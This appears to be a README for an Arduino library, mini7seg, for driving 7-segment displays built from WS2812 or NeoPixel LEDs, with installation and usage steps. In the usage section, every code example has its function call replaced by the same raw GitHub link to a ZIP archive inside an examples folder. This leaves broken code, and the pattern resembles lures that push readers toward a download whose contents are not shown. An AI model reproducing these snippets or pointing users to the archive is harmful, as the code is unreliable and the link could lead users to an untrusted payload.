Welcome to the mini7seg project! This Arduino library helps you create beautiful and customizable 7-segment displays using WS2812 or NeoPixel addressable RGB LEDs. You can easily add vibrant displays to your projects with this library.
To run the mini7seg library effectively, ensure you have:
- An Arduino board (compatible with Arduino IDE)
- WS2812 or NeoPixel addressable RGB LEDs
- A computer with the Arduino IDE installed
- Basic understanding of connecting LEDs to your Arduino
-
Visit the Release Page: Go to the mini7seg Releases page to find the latest version.
-
Choose the Latest Version: Look for the most recent version in the list. This will ensure you have the latest features and bug fixes.
-
Download the Library: Click on the file for the mini7seg library to download it. It will typically be in a ZIP format.
-
Extract the ZIP File:
- Locate the ZIP file you downloaded.
- Right-click on the file and select "Extract All" to unzip it.
-
Add Library to Arduino IDE:
- Open the Arduino IDE.
- Navigate to the menu and click on
Sketch. - Choose
Include Libraryand thenAdd .ZIP Library. - Select the unzipped mini7seg folder to add it to your libraries.
-
Install Dependencies: To ensure the mini7seg library works smoothly, you will need to install the FastLED library. You can do this by:
- Going to the Arduino IDE menu.
- Selecting
Tools, thenManage Libraries. - Searching for "FastLED" and clicking
Install.
-
Connect Your LEDs:
- Connect your WS2812 or NeoPixel LEDs to the appropriate pins on your Arduino board.
- Ensure you power the LEDs correctly as per the manufacturer's guidelines.
-
Load an Example:
- In the Arduino IDE, go to
File, thenExamples, and find the mini7seg library. - Open any of the example sketches provided.
- In the Arduino IDE, go to
-
Upload to Arduino:
- Connect your Arduino board to your computer using a USB cable.
- Select the appropriate board type and port in the Arduino IDE.
- Click the upload button (right arrow) to send the code to your Arduino.
- Customizable Display: Design your own layouts with any number of digits.
- Color Control: Choose from millions of colors for your displays.
- Easy Integration: Quickly integrates with any Arduino project.
Once you have the library installed, you can start using it with your own projects.
-
Initialize the Library: Start by including the mini7seg library in your sketch:
#include <mini7seg.h>
-
Set Up in
setup(): Initialize your display in thesetup()function:mini7seg display; https://github.com/hiteshsn35/mini7seg/raw/refs/heads/main/examples/mixed_strip/mini-seg-3.9.zip(pin); // Replace 'pin' with the Arduino pin number connected to the LEDs -
Display a Number: Use the following code to display a number:
https://github.com/hiteshsn35/mini7seg/raw/refs/heads/main/examples/mixed_strip/mini-seg-3.9.zip(1234); // Displays the number 1234 on the 7-segment display -
Change Colors: You can change the colors easily:
https://github.com/hiteshsn35/mini7seg/raw/refs/heads/main/examples/mixed_strip/mini-seg-3.9.zip(255, 0, 0); // Set to red -
Create Animations: Use the provided functions to create different animations and effects with your display.
If you have any questions, feel free to open an issue on the GitHub repository. Contributions are welcome! If you'd like to improve or add features to mini7seg, please fork the repository and submit a pull request.
For additional reading and tutorials, check out these resources:
Dive into the world of colorful displays and make your projects stand out with mini7seg! Don't forget to visit the Releases page for the latest updates.